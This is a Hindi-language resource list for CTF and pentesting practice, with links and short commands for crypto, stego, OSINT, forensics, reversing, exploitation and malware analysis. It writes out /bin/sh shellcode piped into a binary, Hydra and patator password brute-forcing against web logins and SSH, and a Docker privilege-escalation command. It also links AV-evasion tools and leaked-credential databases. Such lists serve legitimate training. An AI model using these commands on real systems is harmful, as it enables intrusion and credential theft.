विषय-सूची

अभ्यास के लिए प्लेटफ़ॉर्म

https://ctftime.org/

https://www.hackthebox.eu/

https://atenea.ccn-cert.cni.es/home

https://tryhackme.com/

https://www.vulnhub.com/

वेब हैकिंग चुनौतियाँ: http://webhacking.kr/
आधुनिक क्रिप्टोग्राफ़ी सीखने के लिए प्लेटफ़ॉर्म: https://cryptohack.org/
रिवर्सिंग प्लेटफ़ॉर्म: https://crackmes.one/
फोरेंसिक्स चुनौतियाँ: https://ctf.unizar.es/ && https://freetraining.dfirdiva.com/dfir-ctfs-challenges && https://socvel.com/
PicoCTF: https://play.picoctf.org/login
ब्लू टीम: https://letsdefend.io/

क्रिप्टोग्राफ़ी

मुख्य

https://gchq.github.io/CyberChef/

https://www.dcode.fr/tools-list#cryptography

सिफर पहचानकर्ता और विश्लेषक: https://www.boxentriq.com/code-breaking/cipher-identifier
डेटा प्रारूप पहचानकर्ता: https://geocaching.dennistreysa.de/multisolver/

द्वितीयक

स्वचालित क्रिप्टोग्राम सॉल्वर (प्रतिस्थापन) https://quipqiup.com/
आवृत्ति विश्लेषण: https://crypto.interactive-maths.com/frequency-analysis-breaking-the-code.html
ब्रूट फोर्स विजेनेयर: https://guballa.de/vigenere-solver
RsaCtfTool: https://github.com/Ganapati/RsaCtfTool
इमोजी संदेशों को डिक्रिप्ट करें https://cryptoji.com/ & https://cryptii.com/pipes/morse-code-with-emojis
Padding-oracle-attacker: https://github.com/KishanBagaria/padding-oracle-attacker
समुद्री सिग्नल फ्लैग शब्दकोश: https://en.wikipedia.org/wiki/International_maritime_signal_flags
Enigma: https://cryptii.com/
गुणनखंडन: http://factordb.com/
क्रिप्टएनालिसिस संकलन: https://github.com/mindcrypt/Cryptanalysis

http://rumkin.com/tools/cipher/

रियल टाइम कनवर्टर: https://kt.gy/tools.html#conv/
टोर हिडन सर्विस डिस्क्रिप्टर या सार्वजनिक कुंजी से ओनियन पता गणना करने के लिए सरल स्क्रिप्ट: https://gist.github.com/DonnchaC/d6428881f451097f329e (ठीक से काम करने के लिए आपको लाइन 14 संशोधित करनी होगी "onion_address = hashlib.sha1(key.exportKey('DER')[22:]).digest()[:10]").
स्पीच टू टेक्स्ट: https://speech-to-text-demo.ng.bluemix.net/
गाने के बोल: https://codewithrockstar.com/online
स्ट्रिंग का ऑनलाइन MD5 हैश जनरेटर: http://www.md5.cz/

हैशेस

हैश डेटाबेस: https://crackstation.net/
Dehashed: https://www.dehashed.com/
हैश क्रैकिंग: http://rainbowtables.it64.com/
हैश डेटाबेस: https://www.onlinehashcrack.com/
हैश डेटाबेस: https://md5decrypt.net/en/
हैश डेटाबेस: https://hashkiller.io/
हैश डेटाबेस: https://hashes.com/en/decrypt/hash

गूढ़ प्रोग्रामिंग भाषाएँ

Ook! गूढ़ प्रोग्रामिंग भाषा डिकोडर: https://www.dcode.fr/ook-language
Brainfuck गूढ़ प्रोग्रामिंग भाषा डिकोडर: https://www.dcode.fr/brainfuck-language
Malboge गूढ़ प्रोग्रामिंग भाषा डिकोडर: https://www.malbolge.doleczek.pl/
COW गूढ़ प्रोग्रामिंग भाषा: https://frank-buss.de/cow.html

स्टेग्नोग्राफ़ी

Exiftool
Zsteg
Exiv2
Identify -verbose file
मैजिक नंबर सिग्नेचर: https://asecuritysite.com/forensics/magic && https://www.garykessler.net/library/file_sigs.html → Hexeditor
Binwalk -e image
Foremost -i image -o outdir
Steghide: http://steghide.sourceforge.net/documentation/manpage_es.php (उदा.: steghide extract -sf file , steghide info file)
Stegseek: https://github.com/RickdeJager/stegseek (Stegcracker से बेहतर)
StegCracker: https://github.com/Paradoxis/StegCracker
गहन स्टेग्नोग्राफ़ी विश्लेषण उपकरण: https://aperisolve.fr/
स्पेक्ट्रम विश्लेषक: https://academo.org/demos/spectrum-analyzer/
Stegsolve: https://github.com/zardus/ctf-tools/blob/master/stegsolve/install (चलाने के लिए: java -jar steg_solve.jar)
फूरियर ट्रांसफॉर्म: http://bigwww.epfl.ch/demo/ip/demos/FFT/ && https://github.com/0xcomposure/FFTStegPic
डिजिटल अदृश्य स्याही स्टेगो उपकरण: https://sourceforge.net/projects/diit/
8-बिट अटारी टर्बो कैसेट टेप से फ़ाइलें डिकोड करना: https://github.com/baktragh/turbodecoder

https://incoherency.co.uk/image-steganography/#unhide

http://exif-viewer.com/

https://stegonline.georgeom.net/upload

https://stylesuxx.github.io/steganography/

https://skynettools.com/free-online-steganography-tools/

मोर्स कोड अनुकूली ऑडियो डिकोडर: https://morsecode.world/international/decoder/audio-decoder-adaptive.html
Audacity (sudo apt-get install audacity) उदा.: https://www.hackiit.cf/write-up-hackiit-ctf-biological-hazard-ii/
AudioStego: https://github.com/danielcardeenas/AudioStego
स्टेगोमालवेयर का पता लगाने के लिए संदिग्ध फ़ाइलों और URL का विश्लेषण करें: https://stegoinspector.com/#/
ऑरेबेश अनुवादक: https://funtranslations.com/aurebesh
बिटकॉइन स्टेग्नोग्राफ़ी: https://incoherency.co.uk/stegoseed/
मोजीबेक स्टेग्नोग्राफ़ी: https://incoherency.co.uk/mojibake/
शतरंज स्टेग्नोग्राफ़ी : https://incoherency.co.uk/chess-steg/
मैजिक आई सॉल्वर / व्यूअर: https://magiceye.ecksdee.co.uk/
क्यूआर डिकोडर: https://online-barcode-reader.inliteresearch.com/ && https://zxing.org/w/decode.jspx
Stegosuite: http://manpages.ubuntu.com/manpages/bionic/man1/stegosuite.1.html
StegSpy: http://www.spy-hunter.com/stegspydownload.htm
StegSecret: http://stegsecret.sourceforge.net/
Openstego: https://www.openstego.com/
Stegpic: https://domnit.org/stepic/doc/

https://www.bertnase.de/npiet/npiet-execute.php

छवियों की मरम्मत करें: https://online.officerecovery.com/es/pixrecovery/
पिक्सेलयुक्त स्क्रीनशॉट से पासवर्ड पुनर्प्राप्त करने का उपकरण: https://github.com/beurtschipper/Depix
फोरेंसिक छवि विश्लेषण: https://github.com/GuidoBartoli/sherloq
ज़ीरो-विड्थ वर्णों के साथ यूनिकोड स्टेग्नोग्राफ़ी: https://330k.github.io/misc_tools/unicode_steganography.html
Stegsnow(ज़ीरो-विड्थ वर्ण): https://pentesttools.net/hide-secret-messages-in-text-using-stegsnow-zero-width-characters/
स्पैम भाषा या PGP: https://www.spammimic.com/decode.shtml
f5stegojs: https://desudesutalk.github.io/f5stegojs/
लिंक अनशॉर्ट करें: https://unshorten.it/
PNG डंप: https://blog.didierstevens.com/2022/04/18/new-tool-pngdump-py-beta/

OSINT

आईपी जानकारी: https://bgp.tools/
आईपी जानकारी: https://www.maxmind.com/en/geoip-demo

https://sitereport.netcraft.com/? && https://searchdns.netcraft.com/

https://iocfeed.mrlooquer.com/
https://www.ipaddress.com/
GHDB (गूगल हैकिंग डेटाबेस): https://www.exploit-db.com/google-hacking-database
गूगल चीटशीट: https://gist.github.com/sundowndev/283efaddbcf896ab405488330d1bbc06

https://ciberpatrulla.com/links/

https://osintframework.com/

आपके OSINT शोध में सहायता के लिए उपकरण, फ़्लोचार्ट और चीटशीट: https://technisette.com/p/tools
संकलन: https://osint.link/
विश्व डोमेन डेटाबेस: http://web.archive.org/ && https://archive.eu/
DNS खोज: https://dns.coffee/
साइबर डिफेंस खोज: https://www.onyphe.io/
दुरुपयोग डोमेन, आईपी: https://www.abuseipdb.com/

https://dns-lookup.jvns.ca/

https://www.greynoise.io/

https://www.brightcloud.com/tools/url-ip-lookup.php

प्रतिष्ठा URL जाँचकर्ता: https://www.urlvoid.com/
इंटरनेट ऑफ थिंग्स के लिए खोज इंजन: https://www.shodan.io/ && सभी फ़िल्टर चीटशीट: https://beta.shodan.io/search/filters
IVRE: https://ivre.rocks/
थ्रेट इंटेल उपकरण: https://cyberfive.uk/threat-intel-tools/

https://talosintelligence.com/

PGP वैश्विक निर्देशिका: https://keyserver2.pgp.com/vkd/GetWelcomeScreen.event
Hurricane Electric BGP: https://bgp.he.net/
Email2PhoneNumber: https://github.com/martinvigo/email2phonenumber
हनीपॉट या नहीं: https://honeyscore.shodan.io/

https://builtwith.com/

Pwn ईमेल DB TOR: http://pwndb2am4tzkvold.onion/
यह जाँचने की वेबसाइट कि ईमेल या पासवर्ड से समझौता हुआ है या नहीं: https://haveibeenpwned.com/
लीक: https://leaks.sh/
Pwn DB: https://www.dehashed.com/?__cf_chl_jschl_tk__=ab484f797848c365ec48f7297ac4b9ba4587d775-1625827161-0-ARQgSNH3MSi0R4OUxmHmJCgUIz4nZrldFwXK6QZ21tONCEndyB_ypTCETLDm8vhRWeKD6v_ZraA5mbmvd03j1oeQb7QNsx5pg0lMhaNv2l7aw8DKR4a7ENkylr9knbiDx9X3RVn5AcH2uWuG_yRgk28j6x_zyccpXWc8LsTN9VxXZCZb16SEqwbuLdQ-JjWp0eQIgEMAPkLgosrsZyCdRa0A2mqMu8Mz4g-j4z8xR4v-4tqNwcP_TNtCK74-DIWZ80Zth2At6XizE72m_QifLrQH-gFUWPQ7hMzbNr5ONgZbyTZy_0YQA2SqHS5EUj5duq3WhbHdKEsRzXC6ch1EdQ5GagnSc8fH_NAqrI2aebrGF37HEXWkn7ZwxLGDLPAF63tV-77gQ4xhCnCDJp-vpcs
Pwn ईमेल DB: https://intelx.io/
Pwn ईमेल DB: https://cybernews.com/personal-data-leak-check/
PwnDB स्क्रिप्ट: https://github.com/davidtavarez/pwndb
प्लेन टेक्स्ट में फ़िल्टर किए गए क्रेडेंशियल्स खोजें: https://esgeeks.com/pwndb-buscar-credenciales-filtradas-texto-plano/
ईमेल जाँचकर्ता: https://toolbox.googleapps.com/apps/checkmx/
कार पहचान: https://carnet.ai/
तस्वीर का समय, सूर्य कैलकुलेटर: https://www.suncalc.org/#/27.6936,-97.5195,3/2024.01.09/09:23/1/3
सामान्य प्रयोजन: https://github.com/Moham3dRiahi/Th3inspector

थ्रेट हंटिंग

विश्लेषण I: https://centralops.net/co/

विश्लेषण II: https://viewdns.info/

विश्लेषण III: https://sitereport.netcraft.com/

विश्लेषण IV: https://www.ipaddress.com/

मैलवेयर: https://www.virustotal.com/gui/home/upload & https://opentip.kaspersky.com/

प्रतिष्ठा: https://talosintelligence.com/, https://www.abuseipdb.com/

किसी डोमेन की तकनीक: https://builtwith.com/

URL के पुनर्निर्देशन पथों को ट्रैक करने का उपकरण: https://wheregoes.com/

किसी डोमेन का इतिहास: https://web.archive.org/

रीयल-टाइम ब्लैकहोल सूची, ASNs: https://bgp.he.net/

SSL प्रमाणपत्र: https://www.digicert.com/help/

पुनर्निर्देशन: https://lookyloo.circl.lu/

फ़िशिंग डोमेन डेटाबेस: http://phishtank.org/

फ़िशिंग डोमेन डेटाबेस: https://phishcheck.me/

फ़िशिंग डोमेन CSV: https://phishstats.info/

फ़िशिंग शोध: https://safeweb.norton.com/ , https://isitphishing.org/, https://openphish.com/ && https://opentip.kaspersky.com/.

संकलन: https://osintframework.com/

ईमेल खाता विश्लेषण: curl emailrep.io/john.[email protected]

फोरेंसिक्स

ऑनलाइन PCAP विश्लेषण: https://lab.dynamite.ai/
PCAP से स्ट्रिंग्स पहचानने का उपकरण: https://github.com/bee-san/pyWhat. उदा.:python3 -m pywhat redteam_test03-10423dd9015c050a40b7ccf2a53f57a9.pcapng > output
उन्नत PCAP: https://www.kitploit.com/2023/08/bryobio-network-pcap-file-analysis.html
Wireshark. चीटशीट: https://cdn.comparitech.com/wp-content/uploads/2019/06/Wireshark-Cheat-Sheet-1.jpg
Volatility. चीटशीट: https://blog.onfvp.com/post/volatility-cheatsheet/ >>> Malfind, yarascan, Connscan और netscan
Foremost
Binwalk
Autopsy
PhotoRec: https://www.cgsecurity.org/wiki/PhotoRec
फोटो फोरेंसिक्स: https://29a.ch/photo-forensics/#forensic-magnifier
Recuva: https://www.ccleaner.com/recuva
कुंजियाँ: https://www.nirsoft.net/utils/product_cd_key_viewer.html
DDRescue. https://launchpad.net/ddrescue-gui
Rescuezilla: https://rescuezilla.com/
PolarProxy: https://www.netresec.com/?page=PolarProxy
MRC: https://www.magnetforensics.com/resources/magnet-ram-capture/
मीडिया अधिग्रहण (डिस्क से इमेज): https://guymager.sourceforge.io/

https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/

https://blog.didierstevens.com/programs/xorsearch/

फोरेंसिक्स संकलन: https://start.me/p/JDRmPO/recursos-forenses && https://start.me/p/q6mw4Q/forensics

रिवर्सिंग

Binwalk
Dotpeek (.NET)
Angr (डीऑबफस्केटेड कोड): https://angr.io/ && https://napongizero.github.io/blog/Defeating-Code-Obfuscation-with-Angr
GameBoy डिबगर: https://bgb.bircd.org/
IDA pro. चीटशीट: https://www.dragonjar.org/cheat-sheet-ida-pro-interactive-disassembler.xhtml
Ollydbg. चीटशीट: http://www.ollydbg.de/quickst.htm
GDB: https://gist.github.com/rkubik/b96c23bd8ed58333de37f2b8cd052c30
Radare2. चीटशीट: https://gist.github.com/williballenthin/6857590dab3e2a6559d7
Ghidra. चीटशीट: https://hackersfun.com/wp-content/uploads/2019/03/Ghidra-Cheat-Sheet.pdf
Immunity Debugger: https://www.immunityinc.com/products/debugger/
x64dbg
DnSpy https://github.com/dnSpy/dnSpy
Binary Ninja: https://binary.ninja/
शुरुआती रिवर्सिंग उपकरण: https://exeinfo-pe.en.uptodown.com/windows
Regshot: https://sourceforge.net/projects/regshot/ (बायनेरी चलाने से पहले और बाद में)
CFF explorer: https://download.cnet.com/CFF-Explorer/3000-2383_4-10431156.html
ऑनलाइन डिसअसेंबलर: https://onlinedisassembler.com/static/home/index.html

एक्सप्लॉइटिंग

उदाहरण 1: python -c "print 'A'*150" >>> फिर ./binario 150 A

python -c "print ('A' * 5100)"

उदाहरण 2: (echo -e "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"; cat-) | ./binario (x86 32 linux के लिए शेलकोड)

पेंटेस्टिंग

सामान्य पोर्ट्स चीटशीट: https://packetlife.net/media/library/23/common_ports.pdf

एन्यूमरेशन चीटशीट: https://pentestwiki.org/enumeration-cheat-sheet/

रीकॉन

Nmap. चीटशीट: https://highon.coffee/blog/nmap-cheat-sheet/ && https://scadahacker.com/library/Documents/Cheat_Sheets/Hacking%20-%20NMap%20Quick%20Reference%20Guide.pdf
ऑपरेटिंग सिस्टम रीकॉन: "सेवा का संस्करण https://launchpad.net/"
https://sitereport.netcraft.com/
GUI-DNSRecon: https://www.kitploit.com/2023/02/dnsrecon-gui-dnsrecon-tool-with-gui-for.html
enum4linux - https://highon.coffee/blog/enum4linux-cheat-sheet/
Dig: https://cheatography.com/tme520/cheat-sheets/dig/

wget -nd -r -P /save/location -A jpeg,jpg,bmp,gif,png http://www.somedomain.com

robots.txt को बायपास करते हुए रिकर्सिव फ़ाइल डाउनलोड: wget -e robots=off -drc -l5 domain* तृतीय पक्षों के साथ स्कैनिंग: https://hackertarget.com/nmap-online-port-scanner/, https://www.ipfingerprints.com/, https://spiderip.com/online-port-scan.php, https://portscanner.standingtech.com/ && https://www.yougetsignal.com/tools/open-ports/

Scanless प्रोजेक्ट: https://github.com/vesche/scanless
किसी डोमेन से ईमेल की सूची बनाएं: https://maildump.co/domain-search
किसी कंपनी के डोमेन की सूची बनाएं: Curl https://sonar.omnisint.io/tlds/
SPF,DKIM,DMARC: https://github.com/MattKeeley/Spoofy & https://www.kitploit.com/2023/02/email-vulnerablity-checker-find-email.html & https://github.com/magichk/magicspoofing && https://toolbox.googleapps.com/apps/checkmx/
कंपनी के हैश और पासवर्ड: https://www.dehashed.com/
dnsrecon -d dte.local -n IP - https://pentestlab.blog/2012/11/13/dns-reconnaissance-dnsrecon/
सबसे बड़ा DNS ऐतिहासिक डेटा: https://securitytrails.com/
DNS होस्ट रिकॉर्ड: https://hackertarget.com/find-dns-host-records/
HTTP हेडर विश्लेषण भेद्यता उपकरण: https://dnsdumpster.com/
ReconFTW: https://github.com/six2dez/reconftw
Autorecon: https://github.com/Tib3rius/AutoRecon
OSINT संग्रह उपकरण: https://github.com/s0md3v/Photon
OSINT संग्रह उपकरण: https://github.com/laramies/theHarvester
DNS रिज़ॉल्वर: https://github.com/d3mondev/puredns

वेब

Wappalyzer
whatweb -v -a 3 scanme.nmap.org
https://github.com/projectdiscovery/urlfinder
nmap -p 80 --script=http-*
HTTP हेडर विश्लेषण भेद्यता उपकरण: https://github.com/Aetsu/gethead/blob/gh-pages/gethead.py
Feroxbuster
Gobuster. चीट शीट: https://redteamtutorials.com/2018/11/19/gobuster-cheatsheet/
Burpsuite
OWASP ZAP, OpenVas, Sparta और Nikto. चीट शीट: https://cdn.comparitech.com/wp-content/uploads/2019/07/NIkto-Cheat-Sheet.webp
Hydra. चीट शीट: hydra -l admin -P /usr/share/wordlists/rockyou.txt IP http-post-form “__csrf_magic=sid%3Ae40fd9611063464c3ff346ffa53b7a28b3cd5971%2C1638348501&usernamefld=admin&passwordfld=^PASS^&login=Sign+In" || patator http_fuzz url=http://IP/ method=POST &usernamefld=admin&passwordfld=FILE0&login=Sign+In' 0=/usr/share/wordlists/rockyou.txt follow=1 accept_cookie=1 -x ignore:fgrep='Username or Password incorrect'
hydra -s 22 -l user -P /usr/share/wordlists/rockyou.txt IP -t 4 ssh
wfuzz. चीट शीट: https://book.hacktricks.xyz/pentesting-web/web-tool-wfuzz
2FA बाइपास: https://www.xmind.net/m/8Hkymg/
Dirbuster. https://mundo-hackers.weebly.com/dirbuster.html
Linkfinder: https://github.com/GerbenJavado/LinkFinder
Dirsearch: https://github.com/maurosoria/dirsearch
स्वचालित ऑल-इन-वन OS कमांड इंजेक्शन और एक्सप्लॉइटेशन उपकरण: https://github.com/commixproject/commix
स्वचालित XSS उपकरण:

https://pentest-tools.com/home

https://book.hacktricks.xyz/

http://jsonviewer.stack.hu/

https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE

https://jorgectf.gitbook.io/awae-oswe-preparation-resources/

वेब टिप्स: https://www.nccgroup.com/globalassets/our-research/uk/images/common_security_issues_in_financially-orientated_web.pdf.pdf

एक्सप्लॉइट डेटाबेस

CVE खोज: https://github.com/Anonimo501/cve_search
https://www.exploit-db.com/
SearchSploit. चीट शीट: https://blog.ehcgroup.io/2018/11/27/01/00/39/4198/como-usar-searchsploit-para-encontrar-exploits/hacking/ehacking/
https://cvexploits.io/

डॉकर

विशेषाधिकार एस्केलेशन: docker run -v /:/mnt --rm -it imagen chroot /mnt sh

क्रेडेंशियल

IT डिफ़ॉल्ट क्रेडेंशियल: https://github.com/ihebski/DefaultCreds-cheat-sheet/blob/main/DefaultCreds-Cheat-Sheet.csv
OT डिफ़ॉल्ट क्रेडेंशियल: https://www.icsrank.com/

विशेषाधिकार एस्केलेशन

Windows

sudo apt install peass

WinPEAS: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS
Juicy potato: https://github.com/ohpe/juicy-potato
PowerUp: https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1

Linux

सिस्टम में वैध बाइनरीज़

Windows से Lolbas: https://lolbas-project.github.io/
यूनिक्स सिस्टम से GTFOBins: https://gtfobins.github.io/

AV बाइपास

बाइनरी के साथ Windows डिफेंडर को बायपास करें: https://github.com/Bl4ckM1rror/FUD-UUID-Shellcode
Shikata ga nai: https://github.com/EgeBalci/sgn
AV एवेज़न: https://github.com/Veil-Framework/Veil-Evasion
Shellter: https://www.kali.org/tools/shellter/

स्वचालित फ्रेमवर्क

Metasploit. चीटशीट: https://github.com/k1000o23/cheat_sheets/blob/master/metasploit_cheat_sheet.pdf
Kaboom: https://github.com/Leviathan36/kaboom
Fsociety फ्रेमवर्क: https://github.com/Manisso/fsociety
Empire. चीटशीट: https://github.com/HarmJ0y/CheatSheets/blob/master/Empire.pdf

मोबाइल

मोबाइल पेंटेस्ट चीटशीट: https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet && https://github.com/randorisec/MobileHackingCheatSheet
स्वचालित मोबाइल उपकरण: https://github.com/MobSF/Mobile-Security-Framework-MobSF, https://github.com/SUPERAndroidAnalyzer/super
असुरक्षित Android अनुप्रयोगों की सूची: https://github.com/netbiosX/Pentest-Bookmarks/blob/master/Training-Labs/Mobile-Testing/Android-Applications.mdown
PcapDroid: https://play.google.com/store/apps/details?id=com.emanuelef.remote_capture&hl=es_419&gl=US

वाई-फ़ाई

Fing ऐप्लिकेशन: https://www.fing.com/
वाई-फ़ाई विश्लेषक: https://play.google.com/store/apps/details?id=com.farproc.wifi.analyzer&hl=es&gl=US&pli=1
वाई-फ़ाई ऑडिटिंग: https://github.com/v1s1t0r1sh3r3/airgeddon
https://en.kali.tools/?p=244
वाई-फ़ाई क्रैक: https://github.com/s4vitar/wifiCrack
Fern: https://github.com/savio-code/fern-wifi-cracker
EvilTrust: https://github.com/s4vitar/evilTrust
RomBuster: https://github.com/EntySec/RomBuster

Yersinia

Bettercap

Wifi Pineapple

https://linuxhint.com/how_to_aircrack_ng/

PCAP कैप्चर क्रैक: https://www.onlinehashcrack.com/

उपयोगिता

mount -t cifs IP/SharedResource /mnt/smbmounted -o vers=2.1 && * smbclient -U "" -N //IP/SharedResource
dpkg -l एक वर्चुअल मशीन में सभी स्थापित प्रोग्रामों की सूची बनाने के लिए। आउटपुट को पाइप करें ताकि आप जो चाहें खोज सकें।
Msfvenom: https://www.offensive-security.com/metasploit-unleashed/msfvenom/ & https://www.offensive-security.com/metasploit-unleashed/binary-payloads/
Nishang: https://github.com/samratashok/nishang
क्या आप ब्लॉक हैं?: https://ippsec.rocks/?#
OSCP-शैली: https://gist.github.com/s4vitar/b88fefd5d9fbbdcc5f30729f7e06826e
Pentest-book: https://pentestbook.six2dez.com/ && https://book.hacktricks.xyz/pentesting-methodology
वीडियो: https://www.youtube.com/c/S4viOnLive

मैलवेयर

ऑनलाइन इंजन

सर्वश्रेष्ठ: https://omniasec.ai/
https://www.filescan.io/
Virustotal: https://www.virustotal.com/gui/home/search
ऑनलाइन Cuckoo सैंडबॉक्स: https://sandbox.pikker.ee/
ब्राउज़र एक्सटेंशन: https://spin.ai/application-risk-assessment/
APK's: https://mobsf.live/ && https://koodous.com/
Joesandbox: https://www.joesandbox.com/#windows
Kaspersky: https://opentip.kaspersky.com/
Intezer: https://analyze.intezer.com/scan
Hybrid Analysis: https://www.hybrid-analysis.com/?lang=es
नकली-संबंधित वेबसाइटों का डेटाबेस: https://desenmascara.me/
ANY.RUN https://any.run/

https://antiscan.me/

https://www.virscan.org/

Polyswarm: https://polyswarm.network

https://metadefender.opswat.com/?lang=en

मैलवेयर विश्लेषण के लिए डिस्ट्रोज़

Windows-आधारित AI-संचालित रिवर्स इंजीनियरिंग टूलकिट: https://github.com/Jakiboy/ReVens
मैलवेयर की जाँच के लिए Linux डिस्ट्रो: https://docs.remnux.org/
मैलवेयर की जाँच के लिए Windows डिस्ट्रो: https://github.com/mandiant/flare-vm
https://github.com/LaurieWired/linux_malware_analysis_container

उपकरण

Sysinternals: https://docs.microsoft.com/en-us/sysinternals/
Systeminformer: https://systeminformer.sourceforge.io/
Capa: https://github.com/mandiant/capa
Detect it easy(पैकर डिटेक्टर): https://en.kali.tools/?p=1644
Sysinspector: https://support.eset.com/es/que-es-eset-sysinspector
एक निष्पादन योग्य फ़ाइल से Dependency walker: https://www.dependencywalker.com/
Autoruns: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
RAM कैप्चरर: https://belkasoft.com/ram-capturer
संकलन: https://github.com/rshipp/awesome-malware-analysis
रिवर्स इंजीनियर का टूलकिट: https://github.com/mentebinaria/retoolkit
PEstudio: https://www.winitor.com/
Malzilla: https://malzilla.org/
PROCMON+PCAP: https://www.procdot.com/
APK का विश्लेषण करें: https://github.com/quark-engine/quark-engine && https://github.com/mvt-project/mvt && https://github.com/pjlantz/droidbox
XORSearch: https://blog.didierstevens.com/programs/xorsearch/

मुफ्त AV, EDR और सैंडबॉक्स

ClamAV: https://www.clamav.net/downloads#otherversions
MAC AV: https://www.pcrisk.es/mejores-programas-antivirus/8365-combo-cleaner-antivirus-and-system-optimizer-mac
सैंडबॉक्स: https://github.com/CERT-Polska/drakvuf-sandbox
DragonFly: https://dragonfly.certego.net/register
ऑफ़लाइन सैंडबॉक्स: https://sandboxie-plus.com/downloads/
OpenEDR: https://github.com/ComodoSecurity/openedr

रैंसमवेयर

रैंसमवेयर डिक्रिप्शन उपकरण: http://files-download.avg.com/util/avgrem/avg_decryptor_Legion.exe, https://success.trendmicro.com/solution/1114221-downloading-and-using-the-trend-micro-ransomware-file-decryptor, https://www.nomoreransom.org/es/decryption-tools.htmlm, https://www.avast.com/es-es/ransomware-decryption-tools , https://noransom.kaspersky.com/ , https://www.mcafee.com/enterprise/es-es/downloads/free-tools/ransomware-decryption.html, https://www.mcafee.com/enterprise/en-us/downloads/free-tools.html, https://www.emsisoft.com/ransomware-decryption-tools/, https://decoded.avast.io/threatresearch/decrypted-bianlian-ransomware/.
सामान्य अवलोकन: https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml#
रैंसमवेयर समूह: http://edteebo2w2bvwewbjb5wgwxksuwqutbg3lk34ln7jpf3obhy4cvkbuqd.onion/

APT

इंटेलिजेंस: https://docs.google.com/spreadsheets/d/1H9_xaxQHpWaa4O_Son4Gx0YOIzlcBWMsdvePFX68EKU/pubhtml# && https://github.com/StrangerealIntel/EternalLiberty/blob/main/EternalLiberty.csv && https://xorl.wordpress.com/
थ्रेट एक्टर नॉलेज ग्राफ़: https://jupyter.securitybreak.io/graph_TA/index.html

क्या आप APT लक्ष्य हैं? -> https://lab52.io/

APT सिम्युलेटर: https://github.com/NextronSystems/APTSimulator

ब्लॉग और जानकारी

मैक्रोज़: https://blog.didierstevens.com/2021/01/19/video-maldoc-analysis-with-cyberchef/ && https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/
मैलवेयर उदाहरण/बाइनरीज़: https://bazaar.abuse.ch/, https://github.com/ytisf/theZoo & https://malshare.com/

उपयोगिता

कुछ फ़िल्टर किए गए पोर्ट को बायपास करने के लिए: nmap -sSV ...
zip2john backup.zip secret.hash
john --show secret.hash
Hexeditor
nc -nlvp URL port
Grep
rgrep (रिकर्सिव grep)
awk
perl
tail / head
curl -Llv domain | curl -b "protected=d41d8cd98f00b204e9800998ecf8427e"(cookie) "domain"
Identify -verbose
Hash-identifier
cat 'file' | md5sum, sha1sum,sha256sum...
echo "string" | base64 -d
Strings
File
Cewl. चीट शीट: https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-5-creating-custom-wordlist-with-cewl-0158855/
पासवर्ड पुनर्प्राप्ति ऑनलाइन : https://www.lostmypass.com/try/
कंप्यूटर में संग्रहीत पासवर्ड: https://github.com/AlessandroZ/LaZagne
डिस्क इमेज: https://www.datanumen.com/disk-image-download-thanks/
crackzip: https://github.com/Xpykerz/CrackZip
zip2john: https://github.com/openwall/john/blob/bleeding-jumbo/src/zip2john.c
सामान्य उपयोगकर्ता पासवर्ड प्रोफाइलर: https://github.com/Mebus/cupp और https://github.com/r3nt0n/bopscrk.
Dig: https://cheatography.com/tme520/cheat-sheets/dig/
wget -nd -r -P /save/location -A jpeg,jpg,bmp,gif,png http://www.somedomain.com